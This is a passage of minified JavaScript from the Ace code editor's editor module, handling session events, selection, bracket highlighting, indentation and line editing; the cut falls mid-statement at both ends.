o=0;o<i.length;o++)e.selection.addRange(i[o],!1)},readOnly:!0,scrollIntoView:\"none\"}]}),define(\"ace/editor\",[\"require\",\"exports\",\"module\",\"ace/lib/fixoldbrowsers\",\"ace/lib/oop\",\"ace/lib/dom\",\"ace/lib/lang\",\"ace/lib/useragent\",\"ace/keyboard/textinput\",\"ace/mouse/mouse_handler\",\"ace/mouse/fold_handler\",\"ace/keyboard/keybinding\",\"ace/edit_session\",\"ace/search\",\"ace/range\",\"ace/lib/event_emitter\",\"ace/commands/command_manager\",\"ace/commands/default_commands\",\"ace/config\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";e(\"./lib/fixoldbrowsers\");var r=e(\"./lib/oop\"),i=e(\"./lib/dom\"),s=e(\"./lib/lang\"),o=e(\"./lib/useragent\"),u=e(\"./keyboard/textinput\").TextInput,a=e(\"./mouse/mouse_handler\").MouseHandler,f=e(\"./mouse/fold_handler\").FoldHandler,l=e(\"./keyboard/keybinding\").KeyBinding,c=e(\"./edit_session\").EditSession,h=e(\"./search\").Search,p=e(\"./range\").Range,d=e(\"./lib/event_emitter\").EventEmitter,v=e(\"./commands/command_manager\").CommandManager,m=e(\"./commands/default_commands\").commands,g=e(\"./config\"),y=e(\"./token_iterator\").TokenIterator,b=function(e,t){var n=e.getContainerElement();this.container=n,this.renderer=e,this.commands=new v(o.isMac?\"mac\":\"win\",m),this.textInput=new u(e.getTextAreaContainer(),this),this.renderer.textarea=this.textInput.getElement(),this.keyBinding=new l(this),this.$mouseHandler=new a(this),new f(this),this.$blockScrolling=0,this.$search=(new h).set({wrap:!0}),this.$historyTracker=this.$historyTracker.bind(this),this.commands.on(\"exec\",this.$historyTracker),this.$initOperationListeners(),this._$emitInputEvent=s.delayedCall(function(){this._signal(\"input\",{}),this.session&&this.session.bgTokenizer&&this.session.bgTokenizer.scheduleStart()}.bind(this)),this.on(\"change\",function(e,t){t._$emitInputEvent.schedule(31)}),this.setSession(t||new c(\"\")),g.resetOptions(this),g._signal(\"editor\",this)};(function(){r.implement(this,d),this.$initOperationListeners=function(){function e(e){return e[e.length-1]}this.selections=[],this.commands.on(\"exec\",this.startOperation.bind(this),!0),this.commands.on(\"afterExec\",this.endOperation.bind(this),!0),this.$opResetTimer=s.delayedCall(this.endOperation.bind(this)),this.on(\"change\",function(){this.curOp||this.startOperation(),this.curOp.docChanged=!0}.bind(this),!0),this.on(\"changeSelection\",function(){this.curOp||this.startOperation(),this.curOp.selectionChanged=!0}.bind(this),!0)},this.curOp=null,this.prevOp={},this.startOperation=function(e){if(this.curOp){if(!e||this.curOp.command)return;this.prevOp=this.curOp}e||(this.previousCommand=null,e={}),this.$opResetTimer.schedule(),this.curOp={command:e.command||{},args:e.args,scrollTop:this.renderer.scrollTop},this.curOp.command.name&&this.curOp.command.scrollIntoView!==undefined&&this.$blockScrolling++},this.endOperation=function(e){if(this.curOp){if(e&&e.returnValue===!1)return this.curOp=null;this._signal(\"beforeEndOperation\");var t=this.curOp.command;t.name&&this.$blockScrolling>0&&this.$blockScrolling--;var n=t&&t.scrollIntoView;if(n){switch(n){case\"center-animate\":n=\"animate\";case\"center\":this.renderer.scrollCursorIntoView(null,.5);break;case\"animate\":case\"cursor\":this.renderer.scrollCursorIntoView();break;case\"selectionPart\":var r=this.selection.getRange(),i=this.renderer.layerConfig;(r.start.row>=i.lastRow||r.end.row<=i.firstRow)&&this.renderer.scrollSelectionIntoView(this.selection.anchor,this.selection.lead);break;default:}n==\"animate\"&&this.renderer.animateScrolling(this.curOp.scrollTop)}this.prevOp=this.curOp,this.curOp=null}},this.$mergeableCommands=[\"backspace\",\"del\",\"insertstring\"],this.$historyTracker=function(e){if(!this.$mergeUndoDeltas)return;var t=this.prevOp,n=this.$mergeableCommands,r=t.command&&e.command.name==t.command.name;if(e.command.name==\"insertstring\"){var i=e.args;this.mergeNextCommand===undefined&&(this.mergeNextCommand=!0),r=r&&this.mergeNextCommand&&(!/\\s/.test(i)||/\\s/.test(t.args)),this.mergeNextCommand=!0}else r=r&&n.indexOf(e.command.name)!==-1;this.$mergeUndoDeltas!=\"always\"&&Date.now()-this.sequenceStartTime>2e3&&(r=!1),r?this.session.mergeUndoDeltas=!0:n.indexOf(e.command.name)!==-1&&(this.sequenceStartTime=Date.now())},this.setKeyboardHandler=function(e,t){if(e&&typeof e==\"string\"){this.$keybindingId=e;var n=this;g.loadModule([\"keybinding\",e],function(r){n.$keybindingId==e&&n.keyBinding.setKeyboardHandler(r&&r.handler),t&&t()})}else this.$keybindingId=null,this.keyBinding.setKeyboardHandler(e),t&&t()},this.getKeyboardHandler=function(){return this.keyBinding.getKeyboardHandler()},this.setSession=function(e){if(this.session==e)return;this.curOp&&this.endOperation(),this.curOp={};var t=this.session;if(t){this.session.removeEventListener(\"change\",this.$onDocumentChange),this.session.removeEventListener(\"changeMode\",this.$onChangeMode),this.session.removeEventListener(\"tokenizerUpdate\",this.$onTokenizerUpdate),this.session.removeEventListener(\"changeTabSize\",this.$onChangeTabSize),this.session.removeEventListener(\"changeWrapLimit\",this.$onChangeWrapLimit),this.session.removeEventListener(\"changeWrapMode\",this.$onChangeWrapMode),this.session.removeEventListener(\"onChangeFold\",this.$onChangeFold),this.session.removeEventListener(\"changeFrontMarker\",this.$onChangeFrontMarker),this.session.removeEventListener(\"changeBackMarker\",this.$onChangeBackMarker),this.session.removeEventListener(\"changeBreakpoint\",this.$onChangeBreakpoint),this.session.removeEventListener(\"changeAnnotation\",this.$onChangeAnnotation),this.session.removeEventListener(\"changeOverwrite\",this.$onCursorChange),this.session.removeEventListener(\"changeScrollTop\",this.$onScrollTopChange),this.session.removeEventListener(\"changeScrollLeft\",this.$onScrollLeftChange);var n=this.session.getSelection();n.removeEventListener(\"changeCursor\",this.$onCursorChange),n.removeEventListener(\"changeSelection\",this.$onSelectionChange)}this.session=e,e?(this.$onDocumentChange=this.onDocumentChange.bind(this),e.addEventListener(\"change\",this.$onDocumentChange),this.renderer.setSession(e),this.$onChangeMode=this.onChangeMode.bind(this),e.addEventListener(\"changeMode\",this.$onChangeMode),this.$onTokenizerUpdate=this.onTokenizerUpdate.bind(this),e.addEventListener(\"tokenizerUpdate\",this.$onTokenizerUpdate),this.$onChangeTabSize=this.renderer.onChangeTabSize.bind(this.renderer),e.addEventListener(\"changeTabSize\",this.$onChangeTabSize),this.$onChangeWrapLimit=this.onChangeWrapLimit.bind(this),e.addEventListener(\"changeWrapLimit\",this.$onChangeWrapLimit),this.$onChangeWrapMode=this.onChangeWrapMode.bind(this),e.addEventListener(\"changeWrapMode\",this.$onChangeWrapMode),this.$onChangeFold=this.onChangeFold.bind(this),e.addEventListener(\"changeFold\",this.$onChangeFold),this.$onChangeFrontMarker=this.onChangeFrontMarker.bind(this),this.session.addEventListener(\"changeFrontMarker\",this.$onChangeFrontMarker),this.$onChangeBackMarker=this.onChangeBackMarker.bind(this),this.session.addEventListener(\"changeBackMarker\",this.$onChangeBackMarker),this.$onChangeBreakpoint=this.onChangeBreakpoint.bind(this),this.session.addEventListener(\"changeBreakpoint\",this.$onChangeBreakpoint),this.$onChangeAnnotation=this.onChangeAnnotation.bind(this),this.session.addEventListener(\"changeAnnotation\",this.$onChangeAnnotation),this.$onCursorChange=this.onCursorChange.bind(this),this.session.addEventListener(\"changeOverwrite\",this.$onCursorChange),this.$onScrollTopChange=this.onScrollTopChange.bind(this),this.session.addEventListener(\"changeScrollTop\",this.$onScrollTopChange),this.$onScrollLeftChange=this.onScrollLeftChange.bind(this),this.session.addEventListener(\"changeScrollLeft\",this.$onScrollLeftChange),this.selection=e.getSelection(),this.selection.addEventListener(\"changeCursor\",this.$onCursorChange),this.$onSelectionChange=this.onSelectionChange.bind(this),this.selection.addEventListener(\"changeSelection\",this.$onSelectionChange),this.onChangeMode(),this.$blockScrolling+=1,this.onCursorChange(),this.$blockScrolling-=1,this.onScrollTopChange(),this.onScrollLeftChange(),this.onSelectionChange(),this.onChangeFrontMarker(),this.onChangeBackMarker(),this.onChangeBreakpoint(),this.onChangeAnnotation(),this.session.getUseWrapMode()&&this.renderer.adjustWrapLimit(),this.renderer.updateFull()):(this.selection=null,this.renderer.setSession(e)),this._signal(\"changeSession\",{session:e,oldSession:t}),this.curOp=null,t&&t._signal(\"changeEditor\",{oldEditor:this}),e&&e._signal(\"changeEditor\",{editor:this})},this.getSession=function(){return this.session},this.setValue=function(e,t){return this.session.doc.setValue(e),t?t==1?this.navigateFileEnd():t==-1&&this.navigateFileStart():this.selectAll(),e},this.getValue=function(){return this.session.getValue()},this.getSelection=function(){return this.selection},this.resize=function(e){this.renderer.onResize(e)},this.setTheme=function(e,t){this.renderer.setTheme(e,t)},this.getTheme=function(){return this.renderer.getTheme()},this.setStyle=function(e){this.renderer.setStyle(e)},this.unsetStyle=function(e){this.renderer.unsetStyle(e)},this.getFontSize=function(){return this.getOption(\"fontSize\")||i.computedStyle(this.container,\"fontSize\")},this.setFontSize=function(e){this.setOption(\"fontSize\",e)},this.$highlightBrackets=function(){this.session.$bracketHighlight&&(this.session.removeMarker(this.session.$bracketHighlight),this.session.$bracketHighlight=null);if(this.$highlightPending)return;var e=this;this.$highlightPending=!0,setTimeout(function(){e.$highlightPending=!1;var t=e.session;if(!t||!t.bgTokenizer)return;var n=t.findMatchingBracket(e.getCursorPosition());if(n)var r=new p(n.row,n.column,n.row,n.column+1);else if(t.$mode.getMatching)var r=t.$mode.getMatching(e.session);r&&(t.$bracketHighlight=t.addMarker(r,\"ace_bracket\",\"text\"))},50)},this.$highlightTags=function(){if(this.$highlightTagPending)return;var e=this;this.$highlightTagPending=!0,setTimeout(function(){e.$highlightTagPending=!1;var t=e.session;if(!t||!t.bgTokenizer)return;var n=e.getCursorPosition(),r=new y(e.session,n.row,n.column),i=r.getCurrentToken();if(!i||!/\\b(?:tag-open|tag-name)/.test(i.type)){t.removeMarker(t.$tagHighlight),t.$tagHighlight=null;return}if(i.type.indexOf(\"tag-open\")!=-1){i=r.stepForward();if(!i)return}var s=i.value,o=0,u=r.stepBackward();if(u.value==\"<\"){do u=i,i=r.stepForward(),i&&i.value===s&&i.type.indexOf(\"tag-name\")!==-1&&(u.value===\"<\"?o++:u.value===\"</\"&&o--);while(i&&o>=0)}else{do i=u,u=r.stepBackward(),i&&i.value===s&&i.type.indexOf(\"tag-name\")!==-1&&(u.value===\"<\"?o++:u.value===\"</\"&&o--);while(u&&o<=0);r.stepForward()}if(!i){t.removeMarker(t.$tagHighlight),t.$tagHighlight=null;return}var a=r.getCurrentTokenRow(),f=r.getCurrentTokenColumn(),l=new p(a,f,a,f+i.value.length);t.$tagHighlight&&l.compareRange(t.$backMarkers[t.$tagHighlight].range)!==0&&(t.removeMarker(t.$tagHighlight),t.$tagHighlight=null),l&&!t.$tagHighlight&&(t.$tagHighlight=t.addMarker(l,\"ace_bracket\",\"text\"))},50)},this.focus=function(){var e=this;setTimeout(function(){e.textInput.focus()}),this.textInput.focus()},this.isFocused=function(){return this.textInput.isFocused()},this.blur=function(){this.textInput.blur()},this.onFocus=function(e){if(this.$isFocused)return;this.$isFocused=!0,this.renderer.showCursor(),this.renderer.visualizeFocus(),this._emit(\"focus\",e)},this.onBlur=function(e){if(!this.$isFocused)return;this.$isFocused=!1,this.renderer.hideCursor(),this.renderer.visualizeBlur(),this._emit(\"blur\",e)},this.$cursorChange=function(){this.renderer.updateCursor()},this.onDocumentChange=function(e){var t=this.session.$useWrapMode,n=e.start.row==e.end.row?e.end.row:Infinity;this.renderer.updateLines(e.start.row,n,t),this._signal(\"change\",e),this.$cursorChange(),this.$updateHighlightActiveLine()},this.onTokenizerUpdate=function(e){var t=e.data;this.renderer.updateLines(t.first,t.last)},this.onScrollTopChange=function(){this.renderer.scrollToY(this.session.getScrollTop())},this.onScrollLeftChange=function(){this.renderer.scrollToX(this.session.getScrollLeft())},this.onCursorChange=function(){this.$cursorChange(),this.$blockScrolling||(g.warn(\"Automatically scrolling cursor into view after selection change\",\"this will be disabled in the next version\",\"set editor.$blockScrolling = Infinity to disable this message\"),this.renderer.scrollCursorIntoView()),this.$highlightBrackets(),this.$highlightTags(),this.$updateHighlightActiveLine(),this._signal(\"changeSelection\")},this.$updateHighlightActiveLine=function(){var e=this.getSession(),t;if(this.$highlightActiveLine){if(this.$selectionStyle!=\"line\"||!this.selection.isMultiLine())t=this.getCursorPosition();this.renderer.$maxLines&&this.session.getLength()===1&&!(this.renderer.$minLines>1)&&(t=!1)}if(e.$highlightLineMarker&&!t)e.removeMarker(e.$highlightLineMarker.id),e.$highlightLineMarker=null;else if(!e.$highlightLineMarker&&t){var n=new p(t.row,t.column,t.row,Infinity);n.id=e.addMarker(n,\"ace_active-line\",\"screenLine\"),e.$highlightLineMarker=n}else t&&(e.$highlightLineMarker.start.row=t.row,e.$highlightLineMarker.end.row=t.row,e.$highlightLineMarker.start.column=t.column,e._signal(\"changeBackMarker\"))},this.onSelectionChange=function(e){var t=this.session;t.$selectionMarker&&t.removeMarker(t.$selectionMarker),t.$selectionMarker=null;if(!this.selection.isEmpty()){var n=this.selection.getRange(),r=this.getSelectionStyle();t.$selectionMarker=t.addMarker(n,\"ace_selection\",r)}else this.$updateHighlightActiveLine();var i=this.$highlightSelectedWord&&this.$getSelectionHighLightRegexp();this.session.highlight(i),this._signal(\"changeSelection\")},this.$getSelectionHighLightRegexp=function(){var e=this.session,t=this.getSelectionRange();if(t.isEmpty()||t.isMultiLine())return;var n=t.start.column-1,r=t.end.column+1,i=e.getLine(t.start.row),s=i.length,o=i.substring(Math.max(n,0),Math.min(r,s));if(n>=0&&/^[\\w\\d]/.test(o)||r<=s&&/[\\w\\d]$/.test(o))return;o=i.substring(t.start.column,t.end.column);if(!/^[\\w\\d]+$/.test(o))return;var u=this.$search.$assembleRegExp({wholeWord:!0,caseSensitive:!0,needle:o});return u},this.onChangeFrontMarker=function(){this.renderer.updateFrontMarkers()},this.onChangeBackMarker=function(){this.renderer.updateBackMarkers()},this.onChangeBreakpoint=function(){this.renderer.updateBreakpoints()},this.onChangeAnnotation=function(){this.renderer.setAnnotations(this.session.getAnnotations())},this.onChangeMode=function(e){this.renderer.updateText(),this._emit(\"changeMode\",e)},this.onChangeWrapLimit=function(){this.renderer.updateFull()},this.onChangeWrapMode=function(){this.renderer.onResize(!0)},this.onChangeFold=function(){this.$updateHighlightActiveLine(),this.renderer.updateFull()},this.getSelectedText=function(){return this.session.getTextRange(this.getSelectionRange())},this.getCopyText=function(){var e=this.getSelectedText();return this._signal(\"copy\",e),e},this.onCopy=function(){this.commands.exec(\"copy\",this)},this.onCut=function(){this.commands.exec(\"cut\",this)},this.onPaste=function(e,t){var n={text:e,event:t};this.commands.exec(\"paste\",this,n)},this.$handlePaste=function(e){typeof e==\"string\"&&(e={text:e}),this._signal(\"paste\",e);var t=e.text;if(!this.inMultiSelectMode||this.inVirtualSelectionMode)this.insert(t);else{var n=t.split(/\\r\\n|\\r|\\n/),r=this.selection.rangeList.ranges;if(n.length>r.length||n.length<2||!n[1])return this.commands.exec(\"insertstring\",this,t);for(var i=r.length;i--;){var s=r[i];s.isEmpty()||this.session.remove(s),this.session.insert(s.start,n[i])}}},this.execCommand=function(e,t){return this.commands.exec(e,this,t)},this.insert=function(e,t){var n=this.session,r=n.getMode(),i=this.getCursorPosition();if(this.getBehavioursEnabled()&&!t){var s=r.transformAction(n.getState(i.row),\"insertion\",this,n,e);s&&(e!==s.text&&(this.session.mergeUndoDeltas=!1,this.$mergeNextCommand=!1),e=s.text)}e==\"\t\"&&(e=this.session.getTabString());if(!this.selection.isEmpty()){var o=this.getSelectionRange();i=this.session.remove(o),this.clearSelection()}else if(this.session.getOverwrite()){var o=new p.fromPoints(i,i);o.end.column+=e.length,this.session.remove(o)}if(e==\"\\n\"||e==\"\\r\\n\"){var u=n.getLine(i.row);if(i.column>u.search(/\\S|$/)){var a=u.substr(i.column).search(/\\S|$/);n.doc.removeInLine(i.row,i.column,i.column+a)}}this.clearSelection();var f=i.column,l=n.getState(i.row),u=n.getLine(i.row),c=r.checkOutdent(l,u,e),h=n.insert(i,e);s&&s.selection&&(s.selection.length==2?this.selection.setSelectionRange(new p(i.row,f+s.selection[0],i.row,f+s.selection[1])):this.selection.setSelectionRange(new p(i.row+s.selection[0],s.selection[1],i.row+s.selection[2],s.selection[3])));if(n.getDocument().isNewLine(e)){var d=r.getNextLineIndent(l,u.slice(0,i.column),n.getTabString());n.insert({row:i.row+1,column:0},d)}c&&r.autoOutdent(l,n,i.row)},this.onTextInput=function(e){this.keyBinding.onTextInput(e)},this.onCommandKey=function(e,t,n){this.keyBinding.onCommandKey(e,t,n)},this.setOverwrite=function(e){this.session.setOverwrite(e)},this.getOverwrite=function(){return this.session.getOverwrite()},this.toggleOverwrite=function(){this.session.toggleOverwrite()},this.setScrollSpeed=function(e){this.setOption(\"scrollSpeed\",e)},this.getScrollSpeed=function(){return this.getOption(\"scrollSpeed\")},this.setDragDelay=function(e){this.setOption(\"dragDelay\",e)},this.getDragDelay=function(){return this.getOption(\"dragDelay\")},this.setSelectionStyle=function(e){this.setOption(\"selectionStyle\",e)},this.getSelectionStyle=function(){return this.getOption(\"selectionStyle\")},this.setHighlightActiveLine=function(e){this.setOption(\"highlightActiveLine\",e)},this.getHighlightActiveLine=function(){return this.getOption(\"highlightActiveLine\")},this.setHighlightGutterLine=function(e){this.setOption(\"highlightGutterLine\",e)},this.getHighlightGutterLine=function(){return this.getOption(\"highlightGutterLine\")},this.setHighlightSelectedWord=function(e){this.setOption(\"highlightSelectedWord\",e)},this.getHighlightSelectedWord=function(){return this.$highlightSelectedWord},this.setAnimatedScroll=function(e){this.renderer.setAnimatedScroll(e)},this.getAnimatedScroll=function(){return this.renderer.getAnimatedScroll()},this.setShowInvisibles=function(e){this.renderer.setShowInvisibles(e)},this.getShowInvisibles=function(){return this.renderer.getShowInvisibles()},this.setDisplayIndentGuides=function(e){this.renderer.setDisplayIndentGuides(e)},this.getDisplayIndentGuides=function(){return this.renderer.getDisplayIndentGuides()},this.setShowPrintMargin=function(e){this.renderer.setShowPrintMargin(e)},this.getShowPrintMargin=function(){return this.renderer.getShowPrintMargin()},this.setPrintMarginColumn=function(e){this.renderer.setPrintMarginColumn(e)},this.getPrintMarginColumn=function(){return this.renderer.getPrintMarginColumn()},this.setReadOnly=function(e){this.setOption(\"readOnly\",e)},this.getReadOnly=function(){return this.getOption(\"readOnly\")},this.setBehavioursEnabled=function(e){this.setOption(\"behavioursEnabled\",e)},this.getBehavioursEnabled=function(){return this.getOption(\"behavioursEnabled\")},this.setWrapBehavioursEnabled=function(e){this.setOption(\"wrapBehavioursEnabled\",e)},this.getWrapBehavioursEnabled=function(){return this.getOption(\"wrapBehavioursEnabled\")},this.setShowFoldWidgets=function(e){this.setOption(\"showFoldWidgets\",e)},this.getShowFoldWidgets=function(){return this.getOption(\"showFoldWidgets\")},this.setFadeFoldWidgets=function(e){this.setOption(\"fadeFoldWidgets\",e)},this.getFadeFoldWidgets=function(){return this.getOption(\"fadeFoldWidgets\")},this.remove=function(e){this.selection.isEmpty()&&(e==\"left\"?this.selection.selectLeft():this.selection.selectRight());var t=this.getSelectionRange();if(this.getBehavioursEnabled()){var n=this.session,r=n.getState(t.start.row),i=n.getMode().transformAction(r,\"deletion\",this,n,t);if(t.end.column===0){var s=n.getTextRange(t);if(s[s.length-1]==\"\\n\"){var o=n.getLine(t.end.row);/^\\s+$/.test(o)&&(t.end.column=o.length)}}i&&(t=i)}this.session.remove(t),this.clearSelection()},this.removeWordRight=function(){this.selection.isEmpty()&&this.selection.selectWordRight(),this.session.remove(this.getSelectionRange()),this.clearSelection()},this.removeWordLeft=function(){this.selection.isEmpty()&&this.selection.selectWordLeft(),this.session.remove(this.getSelectionRange()),this.clearSelection()},this.removeToLineStart=function(){this.selection.isEmpty()&&this.selection.selectLineStart(),this.session.remove(this.getSelectionRange()),this.clearSelection()},this.removeToLineEnd=function(){this.selection.isEmpty()&&this.selection.selectLineEnd();var e=this.getSelectionRange();e.start.column==e.end.column&&e.start.row==e.end.row&&(e.end.column=0,e.end.row++),this.session.remove(e),this.clearSelection()},this.splitLine=function(){this.selection.isEmpty()||(this.session.remove(this.getSelectionRange()),this.clearSelection());var e=this.getCursorPosition();this.insert(\"\\n\"),this.moveCursorToPosition(e)},this.transposeLetters=function(){if(!this.selection.isEmpty())return;var e=this.getCursorPosition(),t=e.column;if(t===0)return;var n=this.session.getLine(e.row),r,i;t<n.length?(r=n.charAt(t)+n.charAt(t-1),i=new p(e.row,t-1,e.row,t+1)):(r=n.charAt(t-1)+n.charAt(t-2),i=new p(e.row,t-2,e.row,t)),this.session.replace(i,r)},this.toLowerCase=function(){var e=this.getSelectionRange();this.selection.isEmpty()&&this.selection.selectWord();var t=this.getSelectionRange(),n=this.session.getTextRange(t);this.session.replace(t,n.toLowerCase()),this.selection.setSelectionRange(e)},this.toUpperCase=function(){var e=this.getSelectionRange();this.selection.isEmpty()&&this.selection.selectWord();var t=this.getSelectionRange(),n=this.session.getTextRange(t);this.session.replace(t,n.toUpperCase()),this.selection.setSelectionRange(e)},this.indent=function(){var e=this.session,t=this.getSelectionRange();if(t.start.row<t.end.row){var n=this.$getSelectedRows();e.indentRows(n.first,n.last,\"\t\");return}if(t.start.column<t.end.column){var r=e.getTextRange(t);if(!/^\\s+$/.test(r)){var n=this.$getSelectedRows();e.indentRows(n.first,n.last,\"\t\");return}}var i=e.getLine(t.start.row),o=t.start,u=e.getTabSize(),a=e.documentToScreenColumn(o.row,o.column);if(this.session.getUseSoftTabs())var f=u-a%u,l=s.stringRepeat(\" \",f);else{var f=a%u;while(i[t.start.column]==\" \"&&f)t.start.column--,f--;this.selection.setSelectionRange(t),l=\"\t\"}return this.insert(l)},this.blockIndent=function(){var e=this.$getSelectedRows();this.session.indentRows(e.first,e.last,\"\t\")},this.blockOutdent=function(){var e=this.session.getSelection();this.session.outdentRows(e.getRange())},this.sortLines=function(){var e=this.$getSelectedRows(),t=this.session,n=[];for(i=e.first;i<=e.last;i++)n.push(t.getLine(i));n.sort(function(e,t){return e.toLowerCase()<t.toLowerCase()?-1:e.toLowerCase()>t.toLowerCase()?1:0});var r=new p(0,0,0,0);for(var i=e.first;i<=e.last;i++){var s=t.getLine(i);r.start.row=i,r.end.row=i,r.end.column=s.length,t.replace(r,n[i-e.first])}},this.toggleCommentLines=function(){var e=this.session.getState(this.getCursorPosition().row),t=this.$getSelectedRows();this.session.getMode().toggleCommentLines(e,this.session,t.first,t.last)},this.toggleBlockComment=function(){var e=this.getCursorPosition(),t=this.session.getState(e.row),n=this.getSelectionRange();this.session.getMode().toggleBlockComment(t,this.session,n,e)},this.getNumberAt=function(e,t){var n=/[\\-]?[0-9]+(?:\\.[0-9]+)?/g;n.lastIndex=0;var r=this.session.getLine(e);while(n.lastIndex<t){var i=n.exec(r);if(i.index<=t&&i.index+i[0].length>=t){var s={value:i[0],start:i.index,end:i.index+i[0].length};return s}}return null},this.modifyNumber=function(e){var t=this.selection.getCursor().row,n=this.selection.getCursor().column,r=new p(t,n-1,t,n),i=this.session.getTextRange(r);if(!isNaN(parseFloat(i))&&isFinite(i)){var s=this.getNumberAt(t,n);if(s){var o=s.value.indexOf(\".\")>=0?s.start+s.value.indexOf(\".\")+1:s.end,u=s.start+s.value.length-o,a=parseFloat(s.value);a*=Math.pow(10,u),o!==s.end&&n<o?e*=Math.pow(10,s.end-n-1):e*=Math.pow(10,s.end-n),a+=e,a/=Math.pow(10,u);var f=a.toFixed(u),l=new p(t,s.start,t,s.end);this.session.replace(l,f),this.moveCursorTo(t,Math.max(s.start+1,n+f.length-s.value.length))}}},this.removeLines=function(){var e=this.$getSelectedRows();this.session.removeFullLines(e.first,e.last),this.clearSelection()},this.duplicateSelection=function(){var e=this.selection,t=this.session,n=e.getRange(),r=e.isBackwards();if(n.isEmpty()){var i=n.start.row;t.duplicateLines(i,i)}else{var s=r?n.start:n.end,o=t.insert(s,t.getTextRange(n),!1);n.start=s,n.end=o,e.setSelectionRange(n,r)}},this.moveLinesDown=function(){this.$moveLines(1,!1)},this.moveLinesUp=function(){this.$moveLines(-1,!1)},this.moveText=function(e,t,n){return this.session.moveText(e,t,n)},this.copyLinesUp=function(){this.$moveLines(-1,!0)},this.copyLinesDown=function(){this.$moveLines(1,!0)},this.$moveLines=function(e,t){var n,r,i=this.selection;if(!i.inMultiSelectMode||this.inVirtualSelectionMode){var s=i.toOrientedRange();n=this.$getSelectedRows(s),r=this.session.$moveLines(n.first,n.last,t?0:e),t&&e==-1&&(r=0),s.moveBy(r,0),i.fromOrientedRange(s)}else{var o=i.rangeList.ranges;i.rangeList.detach(this.session),this.inVirtualSelectionMode=!0;var u=0,a=0,f=o.length;for(var l=0;l<f;l++){var c=l;o[l].moveBy(u,0),n=this.$getSelectedRows(o[l]);var h=n.first,p=n.last;while(++l<f){a&&o[l].moveBy(a,0);var d=this.$getSelectedRows(o[l]);if(t&&d.first!=p)break;if(!t&&d.first>p+1)break;p=d.last}l--,u=this.session.$moveLines(h,p,t?0:e),t&&e==-1&&(c=l+1);while(c<=l)o[c].moveBy(u,0),c++;t||(u=0),a+=u}i.fromOrientedRange(i.ranges[0]),i.rangeList.attach(this.session),this.inVirtualSelectionMode=!1}},this.$getSelectedRows=function(e){return e=(e||this.getSelectionRange()).collapseRows(),{first:this.session.getRowFoldStart(e.start.row),last:this.session.getRowFoldEnd(e.end.row)}},this.onCompositionStart=function(e){this.renderer.showComposition(this.getCursorPosition())},this.onCompositionUpdate=function(e){this.renderer.setCompositionText(e)},this.onCompositionEnd=function(){this.renderer.hideComposition()},this.getFirstVisibleRow=function(){return this.renderer.getFirstVisibleRow()},this.getLastVisibleRow=function(){return this.renderer.getLastVisibleRow()},this.isRowVisible=function(e){return e>=this.getFirstVisibleRow()&&e<=this.getLastVisibleRow()},this.isRowFullyVisible=function(e){return e>=this.renderer.getFirstFullyVisibleRow()&&e<=this.renderer.getLastFullyVisibleRow()},this.$getVisibleRowCount=function(){return this.renderer.getScrollBottomRow()-this.renderer.getScrollTopRow()+1},this.$moveByPage=function(e,t){var n=this.renderer,r=this.renderer.layerConfig,i=e*Math.floor(r.height/r.lineHeight);this.$blockScrolling++,t===!0?this.selection.$moveSelection(function(){this.moveCursorBy(i,0)}):t===!1&&(this.selection.moveCursorBy(i,0),this.selection.clearSelection()),this.$blockScrolling--;var s=n.scrollTop;n.scrollBy(0,i*r.lineHeight),t!=null&&n.scrollCursorIntoView(null,.5),n.animateScrolling(s)},this.selectPageDown=function(){this.$moveByPage(1,!0)},this.selectPageUp=function(){this.$moveByPage(-1,!0)},this.gotoPageDown=function(){this.$moveByPage(1,!1)},this.gotoPageUp=function(){this.$moveByPage(-1,!1)},this.scrollPageDown=function(){this.$moveByPage(1)},this.scrollPageUp=function(){this.$moveByPage(-1)},this.scrollToRow=function(e){this.renderer.scrollToRow(e)},this.scrollToLine=function(e,t,n,r){this.renderer.scrollToLine(e,t,n,r)},this.centerSelection=function(){var e=this.getSelectionRange(),t={row:Math.floor(e.start.row+(e.end.row-e.start.row)/2),column:Math.floor(e.start.column+(e.end.column-e.start.column)/2)};this.renderer.alignCursor(t,.5)},this.getCursorPosition=function(){return this.selection.getCursor()},this.getCursorPositionScreen=function(){return this.session.documentToScreenPosition(this.getCursorPosition())},this.getSelectionRange=function(){return this.selection.getRange()},this.selectAll=function(){this.$blockScrolling+=1,this.selection.selectAll(),this.$blockScrolling-=1},this.clearSelection=function(){this.selection.clearSelection()},this.moveCursorTo=function(e,t){this.selection.moveCursorTo(e,t)},this.moveCursorToPosition=function(e){this.selection.moveCursorToPosition(e)},this.jumpToMatching=function(e,t){var n=this.getCursorPosition(),r=new y(this.session,n.row,n.column),i=r.getCurrentToken(),s=i||r.stepForward();if(!s)return;var o,u=!1,a={},f=n.column-s.start,l,c={\")\":\"(\",\"(\":\"(\",\"]\":\"[\",\"[\":\"[\",\"{\":\"{\",\"}\":\"{\"};do{if(s.value.match(/[{}()\\[\\]]/g))for(;f<s.value.length&&!u;f++){if(!c[s.value[f]])continue;l=c[s.value[f]]+\".\"+s.type.replace(\"rparen\",\"lparen\"),isNaN(a[l])&&(a[l]=0);switch(s.value[f]){case\"(\":case\"[\":case\"{\":a[l]++;break;case\")\":case\"]\":case\"}\":a[l]--,a[l]===-1&&(o=\"bracket\",u=!0)}}else s&&s.type.indexOf(\"tag-name\")!==-1&&(isNaN(a[s.value])&&(a[s.value]=0),i.value===\"<\"?a[s.value]++:i.value===\"</\"&&a[s.value]--,a[s.value]===-1&&(o=\"tag\",u=!0));u||(i=s,s=r.stepForward(),f=0)}while(s&&!u);if(!o)return;var h,d;if(o===\"bracket\"){h=this.session.getBracketRange(n);if(!h){h=new p(r.getCurrentTokenRow(),r.getCurrentTokenColumn()+f-1,r.getCurrentTokenRow(),r.getCurrentTokenColumn()+f-1),d=h.start;if(t||d.row===n.row&&Math.abs(d.column-n.column)<2)h=this.session.getBracketRange(d)}}else if(o===\"tag\"){if(!s||s.type.indexOf(\"tag-name\")===-1)return;var v=s.value;h=new p(r.getCurrentTokenRow(),r.getCurrentTokenColumn()-2,r.getCurrentTokenRow(),r.getCurrentTokenColumn()-2);if(h.compare(n.row,n.column)===0){u=!1;do 